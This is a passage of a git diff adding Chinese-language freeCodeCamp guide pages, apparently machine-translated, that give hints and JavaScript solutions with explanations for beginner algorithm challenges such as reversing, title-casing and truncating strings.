+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+您将获得一个包含数字子数组的数组，您需要从每个子数组返回一个数字最大的数组。
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+您需要使用答案和每个子阵列的最大数量来跟踪数组。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+您可以通过`Array[Index][SubIndex]`处理多维数组
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+使用循环时，请密切注意存储变量的时间
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**解决方案！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+
+**（程序方法）**
+```
+function largestOfFour(arr) { 
+  var results = []; 
+  for (var n = 0; n < arr.length; n++) { 
+    var largestNumber = arr[n][0]; 
+    for (var sb = 1; sb < arr[n].length; sb++) { 
+      if (arr[n][sb] > largestNumber) { 
+        largestNumber = arr[n][sb]; 
+      } 
+    } 
+ 
+    results[n] = largestNumber; 
+  } 
+ 
+  return results; 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLjU/734)
+
+### 代码说明：
+
+*   创建一个变量以将_结果_存储为数组。
+*   创建一个外部循环来迭代外部数组。
+*   创建第二个变量以保存最大数字并使用第一个数字初始化它。这必须在内部循环之外，因此在我们找到更大的数字之前不会重新分配。
+*   创建所述内部循环以使用子数组。
+*   检查子数组的元素是否大于当前存储的最大数字。如果是，则更新变量中的数字。
+*   在内循环之后，将最大数字保存在`results`数组内的相应位置。
+*   最后返回所说的数组。
+
+#### 相关链接
+
+*   [对于循环](http://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+
+**（声明方法）**
+```
+function largestOfFour(arr) { 
+  return arr.map(function(group){ 
+    return group.reduce(function(prev, current) { 
+      return (current > prev) ? current : prev; 
+    }); 
+  }); 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLjU/733)
+
+### 代码说明：
+
+*   我们使用`Array.prototype.map()`将主数组中的所有项映射到一个新数组，并将此数组作为最终结果返回
+*   在每个内部数组中，我们使用`Array.prototype.reduce()`将其内容减少到单个值
+*   传递给reduce方法的回调函数采用先前的值和当前值并比较这两个值
+*   如果当前值高于前一个值，我们将其设置为新的先前值，以便与数组中的下一个项目进行比较，或者如果它是最后一项，则将其返回到map方法回调
+
+#### 相关链接
+
+*   [Array.prototype.map（）](http://forum.freecodecamp.com/t/javascript-array-prototype-map/14294)
+*   [Array.prototype.reduce（）](http://forum.freecodecamp.com/t/javascript-array-prototype-reduce/14299)
+*   [三元运营商](http://forum.freecodecamp.com/t/javascript-ternary-operator/15973)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案
+
+**（声明方法）**
+```
+function largestOfFour(arr) { 
+  return arr.map(Function.apply.bind(Math.max, null)); 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLjU/17)
+
+### 代码说明：
+
+TL; DR：我们构建一个特殊的回调函数（使用`Function.bind`方法），它就像`Math.max`一样，但也有`Function.prototype.apply`能够将数组作为参数![:smiley:](https://forum.freecodecamp.com/images/emoji/emoji_one/smiley.png?v=3 "：笑脸：")
+
+*   我们首先映射主数组中的元素。意味着每个内部数组。
+*   现在需要一个回调函数来查找地图提供的每个内部数组的最大值。
+
+因此，我们想要创建一个函数来完成`Math.max`的工作并接受输入作为数组（默认情况下不是这样）。
+
+换句话说，如果这个单独工作，那将是非常好的和简单的：
+
+`Math.max([9, 43, 20, 6]); // Resulting in 43`
+
+唉，事实并非如此。
+
+*   要以数组的形式接受参数的工作，有这个`Function.prototype.apply`方法，但它通过_调用_ _上下文_函数使事情变得复杂。
+
+即`Math.max.apply(null, [9, 43, 20, 6]);`会调用类似`Max.max`方法的东西。我们正在寻找...几乎。
+
+这里我们传递`null`作为`Function.prototype.apply`方法的_上下文_ ，因为`Math.max`不需要任何上下文。
+
+*   由于`arr.map`需要一个回调函数，而不仅仅是一个表达式，因此我们使用`Function.bind`方法从前一个表达式中创建一个函数。
+    
+*   因为， `Function.prototype.apply`相同的静态_方法_ `Function` _对象_ ，我们可以调用`Function.prototype.bind`上`Function.prototype.apply`即`Function.prototype.apply.bind` 。
+    
+*   现在我们传递`Function.prototype.apply.bind`调用的_上下文_ （在这种情况下，我们需要`Math.max`以便我们可以获得它的功能）。
+    
+*   由于嵌入的`Function.prototype.apply`方法也需要一个上下文作为它的第一个参数，我们需要将它传递给一个虚假的_上下文_ 。
+    
+    *   因此，我们将`null`作为第二个参数传递给`Function.prototype.apply.bind` ，它为`Math.max`方法提供了一个_上下文_ 。
+        
+    *   因为， `Math.max`独立于任何_上下文_ ，因此，它忽略了`Function.prototype.apply`方法调用给出的伪造_上下文_ 。
+        
+    *   因此，我们的`Function.prototype.apply.bind(Math.max, null)`使一个新函数接受`arr.map`值，即内部数组。
+        
+
+#### 相关链接
+
+*   [Math.max](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math/max)
+*   [DevDocs上的Function.prototype.apply](http://devdocs.io/#q=js+Function+apply)
+*   [DevDocs上的Function.bind](http://devdocs.io/#q=js+Function+bind)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/reverse-a-string/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/reverse-a-string/index.md
new file mode 100644
index 0000000000..5afb82538b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/reverse-a-string/index.md
@@ -0,0 +1,68 @@
+---
+title: Reverse a String
+localeTitle: 反转字符串
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+我们需要取出字符串并将其反转，所以如果它最初读为'hello'，它现在将读为'olleh'。我们需要拆分字符串，因此我们也将使用Arrays。
+
+#### 相关链接
+
+*   [str.split（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split)
+*   [arr.reverse（）](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/reverse)
+*   [arr.join（）](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Global_Objects/Array/join)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+首先按字符拆分字符串。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+查找内置函数以反转字符串。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+反转后，不要忘记将角色重新加入。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+```
+function reverseString(str) { 
+  return str.split('').reverse().join(''); 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLjU)
+
+### 代码说明：
+
+*   我们的目标是获取输入， `str` ，并将其反向返回。我们的第一步是使用`split('')`按字符`split('')`字符串。请注意，我们不会在单引号之间留下任何内容，这会告诉函数按字符分割字符串。
+    
+*   使用`split()`函数会将我们的字符串转换为字符数组，在我们前进时记住这一点。
+    
+*   接下来我们_链接_ `reverse()`函数，它接受我们的字符数组并反转它们。
+    
+*   最后，我们_链接_ `join('')`将我们的字符重新组合成一个字符串。再次注意，我们在join的参数中没有留下空格，这确保了每个字符将字符数组连接在一起。
+    
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/slice-and-splice/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/slice-and-splice/index.md
new file mode 100644
index 0000000000..03828513b4
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/slice-and-splice/index.md
@@ -0,0 +1,77 @@
+---
+title: Slice and Splice
+localeTitle: 切片和拼接
+---
+## 切片和拼接
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+我们需要将第一个数组中的每个元素从索引n开始复制到第二个数组中。我们还必须确保原始数组不会发生变异。也就是说，我们无法对原始数组进行任何更改。
+
+#### 相关链接
+
+*   [str.slice（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/slice)
+*   [str.splice（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/splice)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+在函数内部创建第二个数组的副本。这将确保原始数组不会发生变异。这可以通过在第二个数组上使用切片操作来完成，并将其分配给变量。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+遍历第一个数组中的所有项目。对于第一个数组中的每个项，将其拼接到作为参数给出的索引中的复制数组中。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+执行拼接后增加索引。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](https://discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+```
+function frankenSplice(arr1, arr2, n) { 
+  // It's alive. It's alive! 
+  let localArray = arr2.slice(); 
+  for (let i = 0; i < arr1.length; i++) { 
+    localArray.splice(n, 0, arr1[i]); 
+    n++; 
+  } 
+  return localArray; 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLjU)
+
+### 代码说明：
+
+*   我们的目标是从`arr1`获取所有元素，并从索引位置`n`开始将它们插入到`arr2` 。同时我们必须确保`arr`或`arr2`都没有变异。
+    
+*   使用`slice()`函数，我们可以创建`arr2`的精确副本，并将操作的结果分配给变量`localArray` 。
+    
+*   现在我们有了一个可以变异的数组，我们可以迭代第一个数组中的每个项目。对于第一个数组中的每个项目，我们可以使用`splice()`函数将项目插入`localArray`索引`n`中。
+    
+*   我们将索引`n`递增1。这将确保`arr1`中的每个项都插入到正确索引位置的`localArray`中。
+    
+*   最后，我们返回`localArray`并结束该函数。
+    
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/title-case-a-sentence/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/title-case-a-sentence/index.md
new file mode 100644
index 0000000000..7f25d8d48c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/title-case-a-sentence/index.md
@@ -0,0 +1,144 @@
+---
+title: Title Case a Sentence
+localeTitle: 标题案例句子
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+我们必须返回一个带有标题案例的句子。这意味着第一个字母将始终为大写，其余字母将为小写。
+
+#### 相关链接
+
+*   [全局字符串对象](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String)
+*   [JS String Prototype ToLowerCase](http://forum.freecodecamp.com/t/javascript-string-prototype-tolowercase/15948)
+*   [JS String Prototype ToUpperCase](http://forum.freecodecamp.com/t/javascript-string-prototype-touppercase/15950)
+*   [JS字符串原型替换](http://forum.freecodecamp.com/t/javascript-string-prototype-replace/15942)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+*   您应该首先将字符串拆分为单词数组。
+*   拆分句子。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+*   在将第一个字母设为大写之前，您应该将单词设为小写。
+*   对每个单词使用replace方法来大写每个单词的第一个字母。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+*   您需要创建一个包含前一个片段的新字符串，最后再将所有内容合并为一个字符串。
+*   在replace方法中，使用charAt将第一个参数作为第一个字母的位置。对于第二个参数，写一个函数来返回大写字母作为替换。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+```
+String.prototype.replaceAt = function(index, character) { 
+    return this.substr(0, index) + character + this.substr(index+character.length); 
+ }; 
+ 
+ function titleCase(str) { 
+    var newTitle = str.split(' '); 
+    var updatedTitle = []; 
+    for (var st in newTitle) { 
+        updatedTitle[st] = newTitle[st].toLowerCase().replaceAt(0, newTitle[st].charAt(0).toUpperCase()); 
+    } 
+    return updatedTitle.join(' '); 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLjU/8)
+
+### 代码说明：
+
+我们正在使用原型修改`replaceAt`函数以方便程序的使用。
+
+用空格分隔字符串，并创建一个变量来跟踪更新的标题。然后我们使用循环将单词的第一个字符转为大写，其余字符转为小写。通过创建由小写字母组成的连接字符串，第一个字符替换为大写字母。
+
+#### 相关链接
+
+*   [JS for Loops解释](http://forum.freecodecamp.com/t/javascript-for-loop/14666s-Explained)
+*   [JS String Prototype Split](http://forum.freecodecamp.com/t/javascript-string-prototype-split/15944)
+*   [JS String Prototype Substr](http://forum.freecodecamp.com/t/javascript-string-prototype-substr/15945)
+*   [JS Array Prototype Join](http://forum.freecodecamp.com/t/javascript-array-prototype-join/14292)
+
+## ![:sunflower:](https://forum.freecodecamp.com/images/emoji/emoji_one/sunflower.png?v=3 "：向日葵：")中级代码解决方案：
+```
+function titleCase(str) { 
+  var convertToArray = str.toLowerCase().split(" "); 
+  var result = convertToArray.map(function(val){ 
+      return val.replace(val.charAt(0), val.charAt(0).toUpperCase()); 
+  }); 
+  return result.join(" "); 
+ } 
+ 
+ titleCase("I'm a little tea pot"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLjU/9)
+
+### 代码说明：
+
+我们将整个字符串设为小写，然后将其转换为数组。然后我们使用map函数用大写字母替换小写字符。最后，我们使用`join`方法返回字符串。
+
+#### 相关链接
+
+*   [JS阵列原型图](http://forum.freecodecamp.com/t/javascript-array-prototype-map/14294)
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案
+```
+function titleCase(str) { 
+  return str.toLowerCase().replace(/(^|\s)\S/g, (L) => L.toUpperCase()); 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLjU/14)
+
+### 代码说明：
+
+该解决方案的工作原理是首先小写字符串中的所有字符，然后仅对每个单词的第一个字符进行大写。
+
+*   使用`str.toLowerCase()`小写整个字符串。
+    
+*   使用`.replace`将每个单词'first first'替换为大写。
+    
+*   在每个单词的开头搜索字符，即匹配`space`后面的任何字符或匹配整个字符串的第一个字符，使用以下模式。
+    
+*   正则表达式解释：
+    
+*   查找所有非空白字符`(\S` ）
+    
+*   在字符串的开头`(^)`
+    
+*   或者在任何空白字符之后`(\s)`
+    
+    *   `g`修饰符在整个字符串中搜索其他此类字模式并替换它们。
+        
+    *   此解决方案适用于国家符号和重音字母，如以下示例所示  
+        `international characters:` 'бабушкакуриттрубку'// - >'БабушкаКуритТрубку'  
+        `accented characters:` 'localitààtilacol'// - >'LocalitàÀtilacol'
+        
+
+#### 相关链接
+
+*   [JS Regex资源](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/truncate-a-string/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/truncate-a-string/index.md
new file mode 100644
index 0000000000..ba31c38f42
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-algorithm-scripting/truncate-a-string/index.md
@@ -0,0 +1,101 @@
+---
+title: Truncate a String
+localeTitle: 截断字符串
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+如果字符串长度超过指定的给定最大长度，我们需要减少字符串的长度或**截断**它，并将`...`添加到结尾。如果不是那么久，那么我们保持原样。
+
+#### 相关链接
+
+*   [String.prototype.slice（）](https://github.com/FreeCodeCamp/FreeCodeCamp/wiki/JS-String-Prototype-Slice)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+字符串在JavaScript中是不可变的，因此我们需要一个新变量来存储截断的字符串。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+您将需要使用slice（）方法并指定从哪里开始和停止的位置。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+不要忘记，当我们截断这个词时，我们还必须计算加上的长度`...`
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+```
+function truncateString(str, num) { 
+  // Clear out that junk in your trunk 
+  if (str.length > num && num > 3) { 
+    return str.slice(0, (num - 3)) + '...'; 
+  } else if (str.length > num && num <= 3) { 
+    return str.slice(0, num) + '...'; 
+  } else { 
+    return str; 
+  } 
+ 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLjU/55)
+
+### 代码说明：
+
+*   首先，我们从一个简单的`if`语句开始，以确定三个结果之一......
+*   如果我们的字符串长度大于我们想要截断的`num` ，并且我们的截断点至少是字符串中的三个或更多字符，我们返回一个字符串切片，从字符0开始，到`num - 3`结束。然后我们将`'...'`追加到字符串的末尾。
+*   但是，如果我们的字符串长度大于`num`但`num`在前三个字符内，我们不必将点数计算为字符。因此，我们返回与上面相同的字符串，但有一点不同：我们切片的端点现在只是`num` 。
+*   最后，如果没有上述情况属实，这意味着我们的字符串长度小于我们的截断`num` 。因此，我们可以只返回字符串。
+
+## ![:rotating_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/rotating_light.png?v=3 "：rotating_light：")高级代码解决方案
+```
+function truncateString(str, num) { 
+  if (str.length <= num) { 
+    return str; 
+  } else { 
+    return str.slice(0, num > 3 ? num - 3 : num) + '...'; 
+  } 
+ } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://repl.it/CLjU/54)
+
+### 代码说明：
+
+*   首先，我们需要一个if语句来测试作为第一个参数传入的完整字符串的长度是否已经作为第二个参数传入的大小限制。如果是这样，我们可以返回传入的字符串。
+    
+    if（str.length <= num） 返回str;
+    
+*   如果上面的`if`语句失败，我们将移动到`else` ，我们将返回字符串的“切片”。 slice方法提取字符串的一部分并返回一个新字符串。这里我们传递0作为切片的起点。要确定端点，我们使用三元运算符： `num > 3 ? num - 3 : num` 。在我们的三元组中，如果`num`大于3，我们必须将三个点分解为我们的总长度，因此我们将切片结束于`num-3` 。如果num小于或等于3，则我们的切片得到一个只有`num`的结束变量。最后， `'...'`被附加到我们新字符串的末尾并被返回。
+    
+    } else { return str.slice（0，num> 3？num - 3：num）+'...'; }
+    
+*   **注意**为了理解上述代码，您需要了解三元运算符的工作原理。三元运算符经常用作`if`语句的快捷方式，并遵循以下格式： `condition ? expr1 : expr2` 。如果`condition`计算结果为true，则运算符返回`expr1` 。否则，它返回`expr2`的值。
+    
+
+#### 相关链接
+
+*   [条件（三元）运算符](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Conditional_Operator)
+*   [String.prototype.slice（）](https://github.com/FreeCodeCamp/FreeCodeCamp/wiki/JS-String-Prototype-Slice)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
